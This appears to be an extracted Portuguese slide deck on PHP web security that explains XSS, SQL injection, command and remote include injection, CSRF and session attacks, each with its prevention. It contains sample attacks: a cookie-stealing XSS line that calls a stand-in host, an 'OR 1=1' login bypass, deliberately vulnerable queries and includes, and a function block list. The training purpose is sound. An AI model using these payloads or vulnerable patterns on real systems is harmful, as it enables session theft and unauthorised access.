apresentacao seguranca php

Upload: moraes

Post on 10-Mar-2016

217 views

Category:

Documents


0 download

DESCRIPTION

Slides contendo apresentação sobre segurança em PHP

TRANSCRIPT

  • http://dpasqua.wordpress.com

    Segurana Web com PHP 5Douglas V. Pasqua

    Zend Certified Enginner

  • http://dpasqua.wordpress.com

    Objetivo

    Disseminar boas prticas para o desenvolvimento de cdigo seguro em php.

    Exemplificar como so feitos os ataques e suas respectivas formas de preveno.

    Concientizar sobre a responsabilidade da segurana no desenvolvimento de uma aplicao.

    Abordar os tpicos de segurana que so temas do exame de certificao da Zend.

  • http://dpasqua.wordpress.com

    Tpicos

    Introduo a Segurana.

    Conceitos e boas prticas. (Filtrando Input e Escapando Output).

    Injection Attaks(XSS, SQL, Command, Remote Code).

    XSRF

    Segurana na Sesso (Session Fixation e Session Hijacking)

    Configuraes de segurana no php.ini.

    Shared Hosting.

  • http://dpasqua.wordpress.com

    Introduo a Segurana

    Responsabilidade pela Segurana.

    Princpios de um desenvolvimento seguro para aplicaes Web.

    Voc pode confiar nos dados que esto sendo processados ? Quais os dados confiveis ?

    Como o maioria dos ataques podem ser evitados ?

    Tenha em mente a importncia de se desenvolver uma aplicao segura.

  • http://dpasqua.wordpress.com

    Filtrando Input.

    Exemplo:

    Usurio: Senha: Empresa: nacional internacional filial

  • http://dpasqua.wordpress.com

    Filtrando Input

    Regras de Validao:

    Usurio deve ser caracteres alfabticos.

    Senha deve ser alfanumrico.

    Empresa deve conter somente 'nacional', 'internacional' ou

    'filial'.

    Validar no lado do cliente(Javascript) ou no lado do Servidor ?

    Validando no lado do servidor:

  • http://dpasqua.wordpress.com

    Filtrando Input

  • http://dpasqua.wordpress.com

    Filtrando Input

    Validando:

  • http://dpasqua.wordpress.com

    Escapando Output

    Qual a importncia de escapar output?

    Escapar output deve fazer parte do filtro de input?

    Escapando output de acordo com o destino: Web Browser e Database

    Escapar output Web Browser

    htmlentities / htmlspecialchars:

    $message = "A 'quote' is bold";Outputs: A 'quote' is bold

    $html['message'] = htmlentities($message, ENT_QUOTES, 'UTF-8');

  • http://dpasqua.wordpress.com

    Escapando Output

    Escapar output - Database

    *_escape_string

    Prepared statements

    $sql = 'SELECT * FROM usuarios WHERE usuario = :usuario AND senha = :senha';

    $sth = $pdo->prepare($sql);$sth->execute(array(':username' => $clean['username'],

    ':senha' => $clean['senha']));$results = $sth->fetchAll();

  • http://dpasqua.wordpress.com

    Escapando Output

    $sql = 'SELECT * FROM usuarios WHERE usuario = ? AND senha = ?';$sth = $pdo->prepare($sql);$sth->execute(array($clean['username'], $clean['senha']));$results = $sth->fetchAll();

  • http://dpasqua.wordpress.com

    Cross-Site Scripting

    um dos mais conhecidos e um mais comuns dos tipos de ataque.

    Explora a confiana que o usurio tem na aplicao.

    O foco esta no roubo de informaes pessoais do usurios, como por exemplo, os cookies.

    Exemplo:

  • http://dpasqua.wordpress.com

    Cross-Site Scripting

    document.location ='http://exemplo.org/getcookies.php?cookies=' + document.cookie;

    Para previnir-se do ataque, faa escape do output utilizando

    htmlentities

  • http://dpasqua.wordpress.com

    SQL Injection

    um ataque no qual o usurio malicioso injeta comandos sql em campos de formulrios.

    Primeiro o atacante obtm informaes suficientes para realizar o ataque, normalmente atravs de mensagens de erro do banco de dados.

    Um exemplo popular o formulrio de Login:

    Username: Senha:

  • http://dpasqua.wordpress.com

    SQL Injection

    O Cdigo Vulenervel:$sql = "SELECT count(*) FROM usuarios WHERE usuario = '{$_POST['usuario']}' AND senha= '{$_POST['senha']}'";

    Nesse caso no feito o filtro de input. Nada escapado.

    Pode-se logar no sistema, passando no campo de usurio o seguinte contedo: (Independente do que passado no campo de senha.)

    administrador' OR 1=1 --

  • http://dpasqua.wordpress.com

    SQL InjectionSELECT * FROM usuariosWHERE usuario = 'admin' OR 1 = 1 -- ' AND senha = 'senhaqualquer'Para previnir sql injection, utilizar *_escape_string() ou de

    preferncia prepared statements

  • http://dpasqua.wordpress.com

    Command Injection

    Tome cuidado ao utilizar o input de usurio para montar comandos dinmicos ao utilizar as funes 'exec', 'system', 'passthru'.

    Evite sempre que possvel utilizar funes que executem comandos no shell.

    Se no tiver outra opo, evite utilizar o input de usurio para criar os comandos shell.

    Se for ter que utilizar o input de usurio para montar os comando shell, voc pode fazer uso das funes escapeshellcmd() e escapeshellarg()

  • http://dpasqua.wordpress.com

    Remote Code Injection

    Tome cuidado ao usar o input do usurio para fazer um include dinmico na sua aplicao.

    Muitas aplicaes se baseiam no input do usurio para criar includes em sua aplicao.

    Exemplo:

    include "{$_GET['secao']}/config.php";Um usurio mal intencionado pode manipular a query string

    e criar uma URL que ir incluir um arquivo em um site remoto.

    http://www.examplo.org/?secao=http%3A%2F%2Ffwww.sitedoatacante.org%2Fblah.inc%3F

  • http://dpasqua.wordpress.com

    Remote Code Injection

    Para se prevenir desse ataque, utilize o filtro de input adequado.

    Outra forma de se previnir desabilitando a diretiva allow_url_fopen do php.ini.

  • http://dpasqua.wordpress.com

    XSRF ou CSRFO ataque consiste em forjar requisies de outros usurios.

    Explora a confiana que a aplicao tem no usurio.

    difcil de identificar pois para a aplicao parece ser uma requisio legtima.

    Exemplo: Atacante analisando o formulrio:

    To Valor $

  • http://dpasqua.wordpress.com

    transfer.php:

  • http://dpasqua.wordpress.com

    XSRF

    Forjando GET

  • http://dpasqua.wordpress.com

    XSRF

    if ($_SESSION['token'] == $_POST['token']) {/* valido */

    }

  • http://dpasqua.wordpress.com

    Session Fixation

    Basicamente, como funciona o processo de criao de sesso no PHP ?

    session_start()

    Set_Cookie Header

    Nome do Cookie: PHPSESSID

    Fixando Sesso:

    Entrar

  • http://dpasqua.wordpress.com

    Session Fixation

    http://www.exemplo.com.br/index.php?PHPSESSID=654321session.use_only_cookies = Off (Padro On)

    session.use_trans_sid = On (Padro Off)

  • http://dpasqua.wordpress.com

    Session Fixation

    Protegendo-se contra o ataque de session fixation: session_regenerate_id()

  • http://dpasqua.wordpress.com

    Session Hijacking

    Como feito o ataque de session hijacking ?

    Como se prevenir ?

    HTTP_USER_AGENT

  • http://dpasqua.wordpress.com

    Session Hijacking

  • http://dpasqua.wordpress.com

    Configuraes no php.ini

    Register Globals:

    Variaveis so injetadas no seu cdigo. impossvel determinar a origem dos dados.

    Exemplo:

    if (checkLogin( ) ) { $loggedin = TRUE;}if ($loggedin) {}

  • http://dpasqua.wordpress.com

    Configuraes no php.ini

    Sempre utilizar $_GET, $_POST, $_COOKIE, $_SESSION

    Em verses > 4.2.0 O padro Off.

    PHP 6 no ter mais essa opo.

  • http://dpasqua.wordpress.com

    Shared Hosting

    Usar safe_mode ?

    php.ini: open_basedir, disable_functions, disable_classes.

    open_basedir: Limita os locais onde o php pode abrir e incluir arquivos.

    Usando open_basedir com VirtualHost:

    php_admin_value open_basedir /var/www

    disable_functions e disable_classes permitem desabilitar

    funes e classes do php.

  • http://dpasqua.wordpress.com

    Shared Hosting; Desabilitar funes

    disable_functions = exec,passthru,shell_exec,system

    ;Desabilitar classes

    disable_classes = DirectoryIterator,Directory

    Protegendo sesses em hosts compartilhados usando session_set_save_handler:

    session_set_save_handler('_open', '_close', '_read', '_write', '_destroy',

    '_clean');

  • http://dpasqua.wordpress.com

    Fale Conosco

    Mais informaes:

    http://dpasqua.wordpress.com

    E-mail: [email protected]

    Fone: 11 9446-2562

    Slide 1Slide 2Slide 3Slide 4Slide 5Slide 6Slide 7Slide 8Slide 9Slide 10Slide 11Slide 12Slide 13Slide 14Slide 15Slide 16Slide 17Slide 18Slide 19Slide 20Slide 21Slide 22Slide 23Slide 24Slide 25Slide 26Slide 27Slide 28Slide 29Slide 30Slide 31Slide 32Slide 33